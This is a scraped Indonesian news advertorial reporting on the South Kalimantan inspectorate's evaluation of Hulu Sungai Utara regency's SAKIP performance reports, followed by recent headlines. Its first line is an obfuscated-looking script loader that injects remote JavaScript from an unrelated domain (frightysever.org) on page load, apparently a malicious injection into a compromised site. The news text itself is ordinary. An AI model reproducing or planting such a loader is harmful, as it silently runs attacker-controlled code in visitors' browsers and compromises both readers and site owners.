(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Advertorial

Tim Inspektorat Kalsel Nilai Hasil SAKIP Pemkab HSU


AMUNTAI, Tim evaluator dari Inspektorat Pemerintahan Provinsi Kalimantan Selatan melakukan penilaian terhadap penyusunan Sistem Akuntabilitas Kinerja Instansi Pemerintah (SAKIP) di lingkungan Pemkab Hulu Sungai Utara (HSU). Kehadirian tim ditanggapi serius oleh pejabat serta pegawai SKPD di lingkungan Pemkab HSU yang hadir dalam acara evaluasi yang digelar Pemkab HSU di aula Bappelitbang HSU, Rabu (12/9).

Panitia pelaksana Tony Fitriady menuturkan, SAKIP merupakan kewajiban yang harus dilaksanakan oleh pemerintah daerah di seluruh Indonesia, sebagai pertanggung jawaban termasuk Kabupaten HSU.

“SAKIP ini merupakan kewajiban yang harus dilaksanakan oleh kita sebagai tolak ukur keberhasilan dalam penyelenggaraan pemerintahan di bawah kepemimpinan Bupati Abdul Wahid dan Wakil Bupati Husairi Abdi,” tutur Kepala Bagian Organisasi Sekda HSU ini.

SAKIP yang telah dilaksanakan di 2018, semua proses pelaporan tersebut sudah dijalani, yaitu untuk SKPD yang menyampaikan laporannya berjumlah 29 SKPD, minus 10 kecamatan.

Wakil Bupati H Husairi Abdi Lc mengucapkan terima kasih serta apresiasi yang tinggi kepada Inspektorat Provinsi Kalimantan Selatan yang berkenan hadir serta diharapkan dapat memberikan arahan dalam evaluator kali ini.

SAKIP merupakan rangkaian sistematik dari berbagai aktivitas, alat dan prosedur yang dirancang untuk tujuan penetapan dan pengukuran, pengumpulan data, pengklasifikasian, pengikhtisaran, dan pelaporan kinerja pada instansi pemerintah.

“Dalam rangka pertanggung jawaban dan peningkatan kinerja instansi pemerintah tidak terkecuali khususnya Pemerintah Kabupaten Hulu Sungai Utara,” ujarnya. Tujuan SAKIP adalah mewujudkan akuntabilas kinerja atau hasil kerja sebuah organisasi dengan menjawab keberadaan organisasi pemerintahan tersebut.

“Sehingga diperlukan sebuah sistem dalam membangun akuntabilitas tersebut yaitu melalui sistem akuntabilitas kinerja instansi pemerintah,” kata Husairi. (dew)

Reporter : Dew
Ediotr : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Bupati Kapuas Resmikan Kantor Kelurahan Selat Hulu

KANALKALIMANTAN.COM, KUALA KAPUAS - Kantor Kelurahan Selat Hulu yang berlokasi di Jalan Cilik Riwut Gang… Read More

2 jam ago

13 Februari Hari Persatuan Ahli Farmasi Indonesia: Ini Sejarahnya

KANALKALIMANTAN.COM - Insan farmasi di Indonesia setiap tanggal 13 Februari memperingati Hari Persatuan Ahli Farmasi… Read More

5 jam ago

BI Kalsel Selenggarakan SERAMBI 2026, Dukung Kebutuhan Uang Kartal Periode Ramadan dan Idulfitri

KANALKALIMANTAN.COM, BANJARMASIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar kick off… Read More

6 jam ago

KPK Dalami Hubungan Jabatan Kepala KPP Madya Banjarmasin di 12 Perusahaan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) sedang mendalami hubungan antara jabatan direksi yang dimiliki… Read More

14 jam ago

Gubernur Muhidin Ingatkan Dana Transfer Pusat Dimanfaatkan Optimal

KANALKALIMANTAN.COM, BANJARMASIN – Gubernur Kalimantan Selatan (Kalsel) H Muhidin meminta langkah strategis untuk memastikan dana… Read More

15 jam ago

Upaya Mencegah Perkawinan Usia Anak di Balangan

KANALKALIMANTAN.COM, PARINGIN - Upaya mencegah perkawinan usia anak, Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk,… Read More

16 jam ago

This website uses cookies.